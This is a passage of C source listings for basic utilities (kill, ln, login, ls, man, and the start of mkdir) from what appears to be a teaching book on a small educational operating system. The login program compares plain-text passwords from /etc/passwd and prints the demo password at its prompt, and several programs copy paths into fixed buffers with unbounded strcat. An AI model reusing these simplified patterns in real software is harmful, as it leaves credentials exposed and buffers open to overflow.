4730019   int             signal;
4730020   int             pid;
4730021   int             a;            // Index inside arguments.
4730022   int             option_s = 0;
4730023   int             option_l = 0;
4730024   int             opt;
4730025   extern char    *optarg;
4730026   extern int      optopt;
4730027   //
4730028   // There must be at least an option, plus the program name.
4730029   //
4730030   if (argc < 2)
4730031     {
4730032       usage ();
4730033       return (1);
4730034     }
4730035   //
4730036   // Check for options.
4730037   //
4730038   while ((opt = getopt (argc, argv, ":ls:")) != -1)
4730039     {
4730040       switch (opt)
```

```
4730041          {
4730042          case 'l':
4730043            option_l = 1;
4730044            break;
4730045          case 's':
4730046            option_s = 1;
4730047            //
4730048            // In that case, there must be at least three arguments:
4730049            // the option, the signal and the process id.
4730050            //
4730051            if (argc < 4)
4730052              {
4730053                usage ();
4730054                return (1);
4730055              }
4730056            //
4730057            // Argument numbers are ok. Check the signal.
4730058            //
4730059            if (strcmp (optarg, "HUP") == 0)
4730060              {
4730061                signal = SIGHUP;
4730062              }
4730063            else if (strcmp (optarg, "INT") == 0)
4730064              {
4730065                signal = SIGINT;
4730066              }
4730067            else if (strcmp (optarg, "QUIT") == 0)
4730068              {
4730069                signal = SIGQUIT;
4730070              }
4730071            else if (strcmp (optarg, "ILL") == 0)
4730072              {
4730073                signal = SIGILL;
4730074              }
4730075            else if (strcmp (optarg, "ABRT") == 0)
4730076              {
4730077                signal = SIGABRT;
4730078              }
4730079            else if (strcmp (optarg, "FPE") == 0)
4730080              {
4730081                signal = SIGFPE;
4730082              }
4730083            else if (strcmp (optarg, "KILL") == 0)
4730084              {
4730085                signal = SIGKILL;
4730086              }
4730087            else if (strcmp (optarg, "SEGV") == 0)
4730088              {
4730089                signal = SIGSEGV;
4730090              }
4730091            else if (strcmp (optarg, "PIPE") == 0)
4730092              {
```

```
4730093                 signal = SIGPIPE;
4730094               }
4730095             else if (strcmp (optarg, "ALRM") == 0)
4730096               {
4730097                 signal = SIGALRM;
4730098               }
4730099             else if (strcmp (optarg, "TERM") == 0)
4730100               {
4730101                 signal = SIGTERM;
4730102               }
4730103             else if (strcmp (optarg, "STOP") == 0)
4730104               {
4730105                 signal = SIGSTOP;
4730106               }
4730107             else if (strcmp (optarg, "TSTP") == 0)
4730108               {
4730109                 signal = SIGTSTP;
4730110               }
4730111             else if (strcmp (optarg, "CONT") == 0)
4730112               {
4730113                 signal = SIGCONT;
4730114               }
4730115             else if (strcmp (optarg, "CHLD") == 0)
4730116               {
4730117                 signal = SIGCHLD;
4730118               }
4730119             else if (strcmp (optarg, "TTIN") == 0)
4730120               {
4730121                 signal = SIGTTIN;
4730122               }
4730123             else if (strcmp (optarg, "TTOU") == 0)
4730124               {
4730125                 signal = SIGTTOU;
4730126               }
4730127             else if (strcmp (optarg, "USR1") == 0)
4730128               {
4730129                 signal = SIGUSR1;
4730130               }
4730131             else if (strcmp (optarg, "USR2") == 0)
4730132               {
4730133                 signal = SIGUSR2;
4730134               }
4730135             else
4730136               {
4730137                 fprintf (stderr, "Unknown signal %s.\n", optarg);
4730138                 return (1);
4730139               }
4730140             break;
4730141           case '?':
4730142             fprintf (stderr, "Unknown option -%c.\n", optopt);
4730143             usage ();
4730144             return (1);
```

```
4730145            break;
4730146          case ':':
4730147            fprintf (stderr, "Missing argument for option -%c\n", optopt);
4730148            usage ();
4730149            return (1);
4730150            break;
4730151          default:
4730152            fprintf (stderr, "Getopt problem: unknown option %c\n", opt);
4730153            return (1);
4730154          }
4730155      }
4730156    //
4730157    //
4730158    //
4730159    if (option_l && option_s)
4730160      {
4730161        fprintf (stderr, "Options \"-l\" and \"-s\" together ");
4730162        fprintf (stderr, "are incompatible.\n");
4730163        usage ();
4730164        return (1);
4730165      }
4730166    //
4730167    // Option "-l".
4730168    //
4730169    if (option_l)
4730170      {
4730171        printf ("HUP ");
4730172        printf ("INT ");
4730173        printf ("QUIT ");
4730174        printf ("ILL ");
4730175        printf ("ABRT ");
4730176        printf ("FPE ");
4730177        printf ("KILL ");
4730178        printf ("SEGV ");
4730179        printf ("PIPE ");
4730180        printf ("ALRM ");
4730181        printf ("TERM ");
4730182        printf ("STOP ");
4730183        printf ("TSTP ");
4730184        printf ("CONT ");
4730185        printf ("CHLD ");
4730186        printf ("TTIN ");
4730187        printf ("TTOU ");
4730188        printf ("USR1 ");
4730189        printf ("USR2 ");
4730190        printf ("\n");
4730191      }
4730192    //
4730193    // Option "-s".
4730194    //
4730195    if (option_s)
4730196      {
```

```
4730197        //
4730198        // Scan arguments.
4730199        //
4730200        for (a = 3; a < argc; a++)
4730201          {
4730202            //
4730203            // Get PID.
4730204            //
4730205            pid = atoi (argv[a]);
4730206            if (pid > 0)
4730207              {
4730208                //
4730209                // Kill.
4730210                //
4730211                if (kill (pid, signal) < 0)
4730212                  {
4730213                    perror (argv[a]);
4730214                  }
4730215              }
4730216            else
4730217              {
4730218                fprintf (stderr, "Invalid PID %s.", argv[a]);
4730219              }
4730220          }
4730221      }
4730222    //
4730223    // All done.
4730224    //
4730225    return (0);
4730226  }
4730227
4730228  //----------------------------------------------------------------------
4730229  static void
4730230  usage (void)
4730231  {
4730232    fprintf (stderr, "Usage: kill -s SIGNAL_NAME PID...\n");
4730233    fprintf (stderr, "       kill -l\n");
4730234  }
```

121.1.18 applic/ln.c

Si veda la sezione 111.13.

```
4740001  #include <sys/os32.h>
4740002  #include <sys/stat.h>
4740003  #include <sys/types.h>
4740004  #include <unistd.h>
4740005  #include <stdlib.h>
4740006  #include <fcntl.h>
4740007  #include <errno.h>
4740008  #include <signal.h>
```

```
4740009 #include <stdio.h>
4740010 #include <string.h>
4740011 #include <limits.h>
4740012 #include <libgen.h>
4740013 //----------------------------------------------------------------------
4740014 static void     usage (void);
4740015 //----------------------------------------------------------------------
4740016 int
4740017 main (int argc, char *argv[], char *envp[])
4740018 {
4740019   char            *source;
4740020   char            *destination;
4740021   char            *new_destination;
4740022   struct stat      file_status;
4740023   int              dest_is_a_dir = 0;
4740024   int              a;            // Argument index.
4740025   char             path[PATH_MAX];
4740026   //
4740027   // There must be at least two arguments, plus the program name.
4740028   //
4740029   if (argc < 3)
4740030     {
4740031       usage ();
4740032       return (1);
4740033     }
4740034   //
4740035   // Select the last argument as the destination.
4740036   //
4740037   destination = argv[argc - 1];
4740038   //
4740039   // Check if it is a directory and save it in a flag.
4740040   //
4740041   if (stat (destination, &file_status) == 0)
4740042     {
4740043       if (S_ISDIR (file_status.st_mode))
4740044         {
4740045           dest_is_a_dir = 1;
4740046         }
4740047     }
4740048   //
4740049   // If there are more than two arguments, verify that the last
4740050   // one is a directory.
4740051   //
4740052   if (argc > 3)
4740053     {
4740054       if (!dest_is_a_dir)
4740055         {
4740056           usage ();
4740057           fprintf (stderr, "The destination \"%s\" ", destination);
4740058           fprintf (stderr, "is not a directory!\n");
4740059           return (1);
4740060         }
```

```
4740061      }
4740062    //
4740063    // Scan the arguments, excluded the last, that is the destination.
4740064    //
4740065    for (a = 1; a < (argc - 1); a++)
4740066      {
4740067        //
4740068        // Source.
4740069        //
4740070        source = argv[a];
4740071        //
4740072        // Verify access permissions.
4740073        //
4740074        if (access (source, R_OK) < 0)
4740075          {
4740076            perror (source);
4740077            continue;
4740078          }
4740079        //
4740080        // Destination.
4740081        //
4740082        // If it is a directory, the destination path
4740083        // must be corrected.
4740084        //
4740085        if (dest_is_a_dir)
4740086          {
4740087            path[0] = 0;
4740088            strcat (path, destination);
4740089            strcat (path, "/");
4740090            strcat (path, basename (source));
4740091            //
4740092            // Update the destination path.
4740093            //
4740094            new_destination = path;
4740095          }
4740096        else
4740097          {
4740098            new_destination = destination;
4740099          }
4740100        //
4740101        // Check if destination file exists.
4740102        //
4740103        if (stat (new_destination, &file_status) == 0)
4740104          {
4740105            fprintf (stderr, "The destination file, \"%s\", ",
4740106                     new_destination);
4740107            fprintf (stderr, "already exists!\n");
4740108            continue;
4740109          }
4740110        //
4740111        // Everything is ready for the link.
4740112        //
```

```
4740113         if (link (source, new_destination) < 0)
4740114           {
4740115             perror (new_destination);
4740116             continue;
4740117           }
4740118       }
4740119     //
4740120     // All done.
4740121     //
4740122     return (0);
4740123 }
4740124 
4740125 //----------------------------------------------------------------------
4740126 static void
4740127 usage (void)
4740128 {
4740129     fprintf (stderr, "Usage: ln OLD_NAME NEW_NAME\n");
4740130     fprintf (stderr, "       ln FILE... DIRECTORY\n");
4740131 }
```

121.1.19 applic/login.c

Si veda la sezione 111.14.

```
4750001 #include <unistd.h>
4750002 #include <stdlib.h>
4750003 #include <sys/stat.h>
4750004 #include <sys/types.h>
4750005 #include <fcntl.h>
4750006 #include <errno.h>
4750007 #include <unistd.h>
4750008 #include <signal.h>
4750009 #include <stdio.h>
4750010 #include <sys/wait.h>
4750011 #include <stdio.h>
4750012 #include <string.h>
4750013 #include <limits.h>
4750014 #include <stdint.h>
4750015 #include <sys/os32.h>
4750016 //----------------------------------------------------------------------
4750017 #define LOGIN_MAX       64
4750018 #define PASSWORD_MAX    64
4750019 #define HOME_MAX        64
4750020 #define LINE_MAX        1024
4750021 //----------------------------------------------------------------------
4750022 int
4750023 main (int argc, char *argv[], char *envp[])
4750024 {
4750025     char            login[LOGIN_MAX];
4750026     char            password[PASSWORD_MAX];
4750027     char            buffer[LINE_MAX];
```

```
4750028     char            *user_name;
4750029     char            *user_password;
4750030     char            *user_uid;
4750031     char            *user_gid;
4750032     char            *user_description;
4750033     char            *user_home;
4750034     char            *user_shell;
4750035     uid_t            uid;
4750036     uid_t            euid;
4750037     gid_t            gid;
4750038     gid_t            egid;
4750039     int              fd;
4750040     ssize_t          size_read;
4750041     int              b;             // Index inside buffer.
4750042     int              loop;
4750043     char            *exec_argv[2];
4750044     int              status;
4750045     char            *tty_path;
4750046     //
4750047     // Check if login is running correctly.
4750048     //
4750049     euid = geteuid ();
4750050     uid = getuid ();
4750051     //
4750052     // Check privileges.
4750053     //
4750054     if (!(uid == 0 && euid == 0))
4750055       {
4750056         printf ("%s: can only run with root privileges!\n", argv[0]);
4750057         exit (-1);
4750058       }
4750059     //
4750060     // Prepare arguments for the shell call.
4750061     //
4750062     exec_argv[0] = "-";
4750063     exec_argv[1] = NULL;
4750064     //
4750065     // Login.
4750066     //
4750067     while (1)
4750068       {
4750069         fd = open ("/etc/passwd", O_RDONLY);
4750070         //
4750071         if (fd < 0)
4750072           {
4750073             perror ("Cannot open file `/etc/passwd'");
4750074             exit (-1);
4750075           }
4750076         //
4750077         printf ("Log in as \"root\" or \"user\" "
4750078                 "with password \"ciao\" :-)\n");
4750079         input_line (login, "login: ", LOGIN_MAX, INPUT_LINE_ECHO);
```

```
4750080         //
4750081         //
4750082         //
4750083         loop = 1;
4750084         while (loop)
4750085           {
4750086             for (b = 0; b < LINE_MAX; b++)
4750087               {
4750088                 size_read = read (fd, &buffer[b], (size_t) 1);
4750089                 if (size_read <= 0)
4750090                   {
4750091                     buffer[b] = 0;
4750092                     loop = 0;      // Close the middle loop.
4750093                     break;
4750094                   }
4750095                 if (buffer[b] == '\n')
4750096                   {
4750097                     buffer[b] = 0;
4750098                     break;
4750099                   }
4750100               }
4750101             //
4750102             // Please notice that `strtok()' does not
4750103             // allow to have empty fields! If it finds
4750104             // a `::', it will treat it as a single `:'.
4750105             //
4750106             user_name = strtok (buffer, ":");
4750107             user_password = strtok (NULL, ":");
4750108             user_uid = strtok (NULL, ":");
4750109             user_gid = strtok (NULL, ":");
4750110             user_description = strtok (NULL, ":");
4750111             user_home = strtok (NULL, ":");
4750112             user_shell = strtok (NULL, ":");
4750113             //
4750114             if (strcmp (user_name, login) == 0)
4750115               {
4750116                 input_line (password, "password: ", PASSWORD_MAX,
4750117                             INPUT_LINE_HIDDEN);
4750118                 //
4750119                 // Compare passwords: empty passwords are not allowed.
4750120                 //
4750121                 if (strcmp (user_password, password) == 0)
4750122                   {
4750123                     uid = atoi (user_uid);
4750124                     euid = uid;
4750125                     gid = atoi (user_gid);
4750126                     egid = gid;
4750127                     //
4750128                     // Find the controlling terminal and change
4750129                     // property and access permissions.
4750130                     //
4750131                     tty_path = ttyname (STDIN_FILENO);
```

```
4750132                     if (tty_path != NULL)
4750133                       {
4750134                         status = chown (tty_path, uid, 0);
4750135                         if (status != 0)
4750136                           {
4750137                             perror (NULL);
4750138                           }
4750139                         status = chmod (tty_path, 0600);
4750140                         if (status != 0)
4750141                           {
4750142                             perror (NULL);
4750143                           }
4750144                       }
4750145                     //
4750146                     // Cd to the home directory, if present.
4750147                     //
4750148                     status = chdir (user_home);
4750149                     if (status != 0)
4750150                       {
4750151                         perror (NULL);
4750152                       }
4750153                     //
4750154                     // Now change personality: first the group,
4750155                     // otherwise, it would be not possible to do
4750156                     // after changing the UID to an unprivileged
4750157                     // one.
4750158                     //
4750159                     setgid (gid);
4750160                     setegid (egid);
4750161                     //
4750162                     setuid (uid);
4750163                     seteuid (euid);
4750164                     //
4750165                     // Run the shell, replacing the login process; the
4750166                     // environment is taken from 'init'.
4750167                     //
4750168                     execve (user_shell, exec_argv, envp);
4750169                     exit (0);
4750170                   }
4750171                 //
4750172                 // Login failed: will try again.
4750173                 //
4750174                 loop = 0;         // Close the middle loop.
4750175                 break;
4750176               }
4750177           }
4750178         close (fd);
4750179       }
4750180   }
```

121.1.20 applic/ls.c

Si veda la sezione 111.15.

```
4760001 #include <sys/stat.h>
4760002 #include <sys/types.h>
4760003 #include <unistd.h>
4760004 #include <stdlib.h>
4760005 #include <fcntl.h>
4760006 #include <errno.h>
4760007 #include <signal.h>
4760008 #include <stdio.h>
4760009 #include <string.h>
4760010 #include <limits.h>
4760011 #include <libgen.h>
4760012 #include <dirent.h>
4760013 #include <pwd.h>
4760014 #include <grp.h>
4760015 #include <time.h>
4760016 //----------------------------------------------------------------------
4760017 #define BUFFER_SIZE     131072
4760018 #define LIST_SIZE       8000
4760019 //----------------------------------------------------------------------
4760020 static void     usage (void);
4760021 static int      compare (const void *p1, const void *p2);
4760022 //----------------------------------------------------------------------
4760023 //
4760024 // Static variables to avoid stack overflow.
4760025 //
4760026 static char     buffer[BUFFER_SIZE];
4760027 static char    *list[LIST_SIZE];
4760028 //----------------------------------------------------------------------
4760029 int
4760030 main (int argc, char *argv[], char *envp[])
4760031 {
4760032   int              option_a = 0;
4760033   int              option_l = 0;
4760034   int              opt;
4760035 //  extern char    *optarg;              // not used.
4760036   extern int       optind;
4760037   extern int       optopt;
4760038   struct stat      file_status;
4760039   DIR             *dp;
4760040   struct dirent   *dir;
4760041   int              b;            // Buffer index.
4760042   int              l;            // List index.
4760043   int              len;          // Name length.
4760044   char            *path = NULL;
4760045   char             pathname[PATH_MAX];
4760046   struct passwd   *pws;
4760047   struct group    *grs;
4760048   struct tm       *tms;
4760049   //
```

```
4760050     // Check for options.
4760051     //
4760052     while ((opt = getopt (argc, argv, ":al")) != -1)
4760053       {
4760054         switch (opt)
4760055           {
4760056           case 'l':
4760057             option_l = 1;
4760058             break;
4760059           case 'a':
4760060             option_a = 1;
4760061             break;
4760062           case '?':
4760063             fprintf (stderr, "Unknown option -%c.\n", optopt);
4760064             usage ();
4760065             return (1);
4760066             break;
4760067           case ':':
4760068             fprintf (stderr, "Missing argument for option -%c\n", optopt);
4760069             usage ();
4760070             return (1);
4760071             break;
4760072           default:
4760073             fprintf (stderr, "Getopt problem: unknown option %c\n", opt);
4760074             return (1);
4760075           }
4760076       }
4760077     //
4760078     // If no arguments are present, at least the current directory is
4760079     // read.
4760080     //
4760081     if (optind == argc)
4760082       {
4760083         //
4760084         // There are no more arguments. Replace the program name,
4760085         // corresponding to 'argv[0]', with the current directory
4760086         // path string.
4760087         //
4760088         argv[0] = ".";
4760089         argc = 1;
4760090         optind = 0;
4760091       }
4760092     //
4760093     // This is a very simplified 'ls': if there is only a name
4760094     // and it is a directory, the directory content is taken as
4760095     // the new 'argv[]' array.
4760096     //
4760097     if (optind == (argc - 1))
4760098       {
4760099         //
4760100         // There is a request for a single name. Test if it exists
4760101         // and if it is a directory.
```

```
4760102         //
4760103         if (stat (argv[optind], &file_status) != 0)
4760104           {
4760105             fprintf (stderr, "File \"%s\" does not exist!\n",
4760106                      argv[optind]);
4760107             return (2);
4760108           }
4760109         //
4760110         if (S_ISDIR (file_status.st_mode))
4760111           {
4760112             //
4760113             // Save the directory inside the 'path' pointer.
4760114             //
4760115             path = argv[optind];
4760116             //
4760117             // Open the directory.
4760118             //
4760119             dp = opendir (argv[optind]);
4760120             if (dp == NULL)
4760121               {
4760122                 perror (argv[optind]);
4760123                 return (3);
4760124               }
4760125             //
4760126             // Read the directory and fill the buffer with names.
4760127             //
4760128             b = 0;
4760129             l = 0;
4760130             while ((dir = readdir (dp)) != NULL)
4760131               {
4760132                 len = strlen (dir->d_name);
4760133                 //
4760134                 // Check if the buffer can hold it.
4760135                 //
4760136                 if ((b + len + 1) > BUFFER_SIZE)
4760137                   {
4760138                     fprintf (stderr, "not enough memory\n");
4760139                     break;
4760140                   }
4760141                 //
4760142                 // Consider the directory item only if there is
4760143                 // a valid name. If it is empty, just ignore it.
4760144                 //
4760145                 if (len > 0)
4760146                   {
4760147                     strcpy (&buffer[b], dir->d_name);
4760148                     list[l] = &buffer[b];
4760149                     b += len + 1;
4760150                     l++;
4760151                   }
4760152               }
4760153             //
```

```
4760154             // Close the directory.
4760155             //
4760156             closedir (dp);
4760157             //
4760158             // Sort the list.
4760159             //
4760160             qsort (list, (size_t) l, sizeof (char *), compare);
4760161             //
4760162             // Convert the directory list into a new 'argv[]' array,
4760163             // with a valid 'argc'. The variable 'optind' must be
4760164             // reset to the first element index, because there is
4760165             // no program name inside the new 'argv[]' at index zero.
4760166             //
4760167             argv = list;
4760168             argc = l;
4760169             optind = 0;
4760170           }
4760171       }
4760172     //
4760173     // Scan arguments, or list converted into 'argv[]'.
4760174     //
4760175     for (; optind < argc; optind++)
4760176       {
4760177         if (argv[optind][0] == '.')
4760178           {
4760179             //
4760180             // Current name starts with '.'.
4760181             //
4760182             if (!option_a)
4760183               {
4760184                 //
4760185                 // Do not show name starting with '.'.
4760186                 //
4760187                 continue;
4760188               }
4760189           }
4760190         //
4760191         // Build the pathname.
4760192         //
4760193         if (path == NULL)
4760194           {
4760195             strcpy (&pathname[0], argv[optind]);
4760196           }
4760197         else
4760198           {
4760199             strcpy (pathname, path);
4760200             strcat (pathname, "/");
4760201             strcat (pathname, argv[optind]);
4760202           }
4760203         //
4760204         // Check if file exists, reading status.
4760205         //
```

```
4760206         if (stat (pathname, &file_status) != 0)
4760207           {
4760208             fprintf (stderr, "File \"%s\" does not exist!\n", pathname);
4760209             return (2);
4760210           }
4760211         //
4760212         // Show file name.
4760213         //
4760214         if (option_l)
4760215           {
4760216             //
4760217             // Print the file type.
4760218             //
4760219             if (S_ISBLK (file_status.st_mode))
4760220               printf ("b");
4760221             else if (S_ISCHR (file_status.st_mode))
4760222               printf ("c");
4760223             else if (S_ISFIFO (file_status.st_mode))
4760224               printf ("p");
4760225             else if (S_ISREG (file_status.st_mode))
4760226               printf ("-");
4760227             else if (S_ISDIR (file_status.st_mode))
4760228               printf ("d");
4760229             else if (S_ISLNK (file_status.st_mode))
4760230               printf ("l");
4760231             else if (S_ISSOCK (file_status.st_mode))
4760232               printf ("s");
4760233             else
4760234               printf ("?");
4760235             //
4760236             // Print permissions.
4760237             //
4760238             if (S_IRUSR & file_status.st_mode)
4760239               printf ("r");
4760240             else
4760241               printf ("-");
4760242             if (S_IWUSR & file_status.st_mode)
4760243               printf ("w");
4760244             else
4760245               printf ("-");
4760246             if (S_IXUSR & file_status.st_mode)
4760247               printf ("x");
4760248             else
4760249               printf ("-");
4760250             if (S_IRGRP & file_status.st_mode)
4760251               printf ("r");
4760252             else
4760253               printf ("-");
4760254             if (S_IWGRP & file_status.st_mode)
4760255               printf ("w");
4760256             else
4760257               printf ("-");
```

```
4760258              if (S_IXGRP & file_status.st_mode)
4760259                printf ("x");
4760260              else
4760261                printf ("-");
4760262              if (S_IROTH & file_status.st_mode)
4760263                printf ("r");
4760264              else
4760265                printf ("-");
4760266              if (S_IWOTH & file_status.st_mode)
4760267                printf ("w");
4760268              else
4760269                printf ("-");
4760270              if (S_IXOTH & file_status.st_mode)
4760271                printf ("x");
4760272              else
4760273                printf ("-");
4760274              //
4760275              // Print links.
4760276              //
4760277              printf (" %3i", (int) file_status.st_nlink);
4760278              //
4760279              // Print owner.
4760280              //
4760281              pws = getpwuid (file_status.st_uid);
4760282              if (pws == NULL)
4760283                {
4760284                  printf (" %i", (int) file_status.st_uid);
4760285                }
4760286              else
4760287                {
4760288                  printf (" %s", pws->pw_name);
4760289                }
4760290              //
4760291              // Print group.
4760292              //
4760293              grs = getgrgid (file_status.st_gid);
4760294              if (grs == NULL)
4760295                {
4760296                  printf (" %i", (int) file_status.st_gid);
4760297                }
4760298              else
4760299                {
4760300                  printf (" %s", grs->gr_name);
4760301                }
4760302              //
4760303              // Print file size or device major-minor.
4760304              //
4760305              if (S_ISBLK (file_status.st_mode)
4760306                  || S_ISCHR (file_status.st_mode))
4760307                {
4760308                  printf (" %3i,", (int) major (file_status.st_rdev));
4760309                  printf (" %3i", (int) minor (file_status.st_rdev));
```

```
4760310                 }
4760311               else
4760312                 {
4760313                   printf (" %8i", (int) file_status.st_size);
4760314                 }
4760315               //
4760316               // Print modification date and time.
4760317               //
4760318               tms = localtime (&(file_status.st_mtime));
4760319               printf (" %4u-%02u-%02u %02u:%02u",
4760320                       tms->tm_year, tms->tm_mon, tms->tm_mday,
4760321                       tms->tm_hour, tms->tm_min);
4760322               //
4760323               // Print file name, but with no additional path.
4760324               //
4760325               printf (" %s\n", argv[optind]);
4760326             }
4760327           else
4760328             {
4760329               //
4760330               // Just show the file name and go to the next line.
4760331               //
4760332               printf ("%s\n", argv[optind]);
4760333             }
4760334         }
4760335       //
4760336       // All done.
4760337       //
4760338       return (0);
4760339     }
4760340
4760341     //----------------------------------------------------------------------
4760342     static void
4760343     usage (void)
4760344     {
4760345       fprintf (stderr, "Usage: ls [OPTION] [FILE]...\n");
4760346     }
4760347
4760348     //----------------------------------------------------------------------
4760349     static int
4760350     compare (const void *p1, const void *p2)
4760351     {
4760352       return (strcmp (*((char **) p1), *((char **) p2)));
4760353     }
```

121.1.21 applic/man.c

«

Si veda la sezione 111.16.

```
4770001 #include <unistd.h>
4770002 #include <stdlib.h>
4770003 #include <errno.h>
4770004 //----------------------------------------------------------------------
4770005 #define MAX_LINES   20
4770006 #define MAX_COLUMNS 80
4770007 //----------------------------------------------------------------------
4770008 static char    *man_page_directory = "/usr/share/man";
4770009 //----------------------------------------------------------------------
4770010 static void     usage (void);
4770011 static FILE    *open_man_page (int section, char *name);
4770012 static void     build_path_name (int section, char *name, char *path);
4770013 //----------------------------------------------------------------------
4770014 int
4770015 main (int argc, char *argv[], char *envp[])
4770016 {
4770017   FILE           *fp;
4770018   char           *name;
4770019   int             section;
4770020   int             c;
4770021   int             line = 1;      // Line internal counter.
4770022   int             column = 1;    // Column internal counter.
4770023   int             loop;
4770024   //
4770025   // There must be minimum an argument, and maximum two.
4770026   //
4770027   if (argc < 2 || argc > 3)
4770028     {
4770029       usage ();
4770030       return (1);
4770031     }
4770032   //
4770033   // If there are two arguments, there must be the
4770034   // section number.
4770035   //
4770036   if (argc == 3)
4770037     {
4770038       section = atoi (argv[1]);
4770039       name = argv[2];
4770040     }
4770041   else
4770042     {
4770043       section = 0;
4770044       name = argv[1];
4770045     }
4770046   //
4770047   // Try to open the manual page.
4770048   //
4770049   fp = open_man_page (section, name);
```

```
4770050     //
4770051     if (fp == NULL)
4770052       {
4770053         //
4770054         // Error opening file.
4770055         //
4770056         return (1);
4770057       }
4770058 
4770059     //
4770060     // The following loop continues while the file
4770061     // gives characters, or when a command to change
4770062     // file or to quit is given.
4770063     //
4770064     for (loop = 1; loop;)
4770065       {
4770066         //
4770067         // Read a single character.
4770068         //
4770069         c = getc (fp);
4770070         //
4770071         if (c == EOF)
4770072           {
4770073             loop = 0;
4770074             break;
4770075           }
4770076         //
4770077         // If the character read is a special one,
4770078         // the line/column calculation is modified,
4770079         // so that it is known when to stop scrolling.
4770080         //
4770081         switch (c)
4770082           {
4770083           case '\r':
4770084             //
4770085             // Displaying this character, the cursor should go
4770086             // back to the first column. So the column counter
4770087             // is reset.
4770088             //
4770089             column = 1;
4770090             break;
4770091           case '\n':
4770092             //
4770093             // Displaying this character, the cursor should go
4770094             // back to the next line, at the first column.
4770095             // So the column counter is reset and the line
4770096             // counter is incremented.
4770097             //
4770098             line++;
4770099             column = 1;
4770100             break;
4770101           case '\b':
```

```
4770102                 //
4770103                 // Displaying this character, the cursor should go
4770104                 // back one position, unless it is already at the
4770105                 // beginning.
4770106                 //
4770107                 if (column > 1)
4770108                   {
4770109                     column--;
4770110                   }
4770111                 break;
4770112               default:
4770113                 //
4770114                 // Any other character must increase the column
4770115                 // counter.
4770116                 //
4770117                 column++;
4770118               }
4770119             //
4770120             // Display the character, even if it is a special one:
4770121             // it is responsibility of the screen device management
4770122             // to do something good with special characters.
4770123             //
4770124             putchar (c);
4770125             //
4770126             // If the column counter is gone beyond the screen columns,
4770127             // then adjust the column counter and increment the line
4770128             // counter.
4770129             //
4770130             if (column > MAX_COLUMNS)
4770131               {
4770132                 column -= MAX_COLUMNS;
4770133                 line++;
4770134               }
4770135             //
4770136             // Check if there is space for scrolling.
4770137             //
4770138             if (line < MAX_LINES)
4770139               {
4770140                 continue;
4770141               }
4770142             //
4770143             // Here, displayed lines are MAX_LINES.
4770144             //
4770145             if (column > 1)
4770146               {
4770147                 //
4770148                 // Something was printed at the current line: must
4770149                 // do a new line.
4770150                 //
4770151                 putchar ('\n');
4770152               }
4770153             //
```

```
4770154         // Show the more prompt.
4770155         //
4770156         printf ("--More--");
4770157         fflush (stdout);
4770158         //
4770159         // Read a character from standard input.
4770160         //
4770161         c = getchar ();
4770162         //
4770163         // Consider command `q', but any other character
4770164         // can be introduced, to let show the next page.
4770165         //
4770166         switch (c)
4770167           {
4770168           case 'Q':
4770169           case 'q':
4770170             //
4770171             // Quit. But must erase the `--More--' prompt.
4770172             //
4770173             printf ("\b \b\b \b\b \b\b \b\b \b");
4770174             printf ("\b \b\b \b\b \b\b \b");
4770175             fclose (fp);
4770176             return (0);
4770177           }
4770178         //
4770179         // Backspace to overwrite `--More--' and the character
4770180         // pressed.
4770181         //
4770182         printf ("\b \b\b \b\b \b\b \b\b \b\b \b\b \b\b \b\b \b");
4770183         //
4770184         // Reset line/column counters.
4770185         //
4770186         column = 1;
4770187         line = 1;
4770188       }
4770189     //
4770190     // Close the file pointer if it is still open.
4770191     //
4770192     if (fp != NULL)
4770193       {
4770194         fclose (fp);
4770195       }
4770196     //
4770197     return (0);
4770198 }
4770199 
4770200 //----------------------------------------------------------------------
4770201 static void
4770202 usage (void)
4770203 {
4770204     fprintf (stderr, "Usage: man [SECTION] NAME\n");
4770205 }
```

```
4770206 
4770207 //----------------------------------------------------------------------
4770208 FILE            *
4770209 open_man_page (int section, char *name)
4770210 {
4770211   FILE           *fp;
4770212   char            path[PATH_MAX];
4770213   struct stat     file_status;
4770214   //
4770215   //
4770216   //
4770217   if (section > 0)
4770218     {
4770219       build_path_name (section, name, path);
4770220       //
4770221       // Check if file exists.
4770222       //
4770223       if (stat (path, &file_status) != 0)
4770224         {
4770225           fprintf (stderr, "Man page %s(%i) does not exist!\n",
4770226                    name, section);
4770227           return (NULL);
4770228         }
4770229     }
4770230   else
4770231     {
4770232       //
4770233       // Must try a section.
4770234       //
4770235       for (section = 1; section < 9; section++)
4770236         {
4770237           build_path_name (section, name, path);
4770238           //
4770239           // Check if file exists.
4770240           //
4770241           if (stat (path, &file_status) == 0)
4770242             {
4770243               //
4770244               // Found.
4770245               //
4770246               break;
4770247             }
4770248         }
4770249     }
4770250   //
4770251   // Check if a file was found.
4770252   //
4770253   if (section < 9)
4770254     {
4770255       fp = fopen (path, "r");
4770256       //
4770257       if (fp == NULL)
```

```
4770258          {
4770259            //
4770260            // Error opening file.
4770261            //
4770262            perror (path);
4770263            return (NULL);
4770264          }
4770265        else
4770266          {
4770267            //
4770268            // Opened right.
4770269            //
4770270            return (fp);
4770271          }
4770272      }
4770273    else
4770274      {
4770275        fprintf (stderr, "Man page %s does not exist!\n", name);
4770276        return (NULL);
4770277      }
4770278  }
4770279
4770280  //----------------------------------------------------------------------
4770281  void
4770282  build_path_name (int section, char *name, char *path)
4770283  {
4770284    char            string_section[10];
4770285    //
4770286    // Convert the section number into a string.
4770287    //
4770288    sprintf (string_section, "%i", section);
4770289    //
4770290    // Prepare the path to the man file.
4770291    //
4770292    path[0] = 0;
4770293    strcat (path, man_page_directory);
4770294    strcat (path, "/");
4770295    strcat (path, name);
4770296    strcat (path, ".");
4770297    strcat (path, string_section);
4770298  }
```

121.1.22 applic/mkdir.c

Si veda la sezione 111.17.

```
4780001  #include <sys/os32.h>
4780002  #include <sys/stat.h>
4780003  #include <sys/types.h>
4780004  #include <unistd.h>
4780005  #include <stdlib.h>
```

```
4780006 #include <fcntl.h>
4780007 #include <errno.h>
4780008 #include <signal.h>
4780009 #include <stdio.h>
4780010 #include <string.h>
4780011 #include <limits.h>
4780012 #include <libgen.h>
4780013 //----------------------------------------------------------------------
4780014 static int      mkdir_parents (const char *path, mode_t mode);
4780015 static void     usage (void);
4780016 //----------------------------------------------------------------------
4780017 int
4780018 main (int argc, char *argv[], char *envp[])
4780019 {
4780020   sysmsg_uarea_t  msg;
4780021   int             status;
4780022   mode_t          mode = 0;
4780023   int             m;              // Index inside mode argument.
4780024   int             digit;
4780025   char          **dir;
4780026   int             d;              // Directory index.
4780027   int             option_p = 0;
4780028   int             option_m = 0;
4780029   int             opt;
4780030   extern char    *optarg;
4780031   extern int      optind;
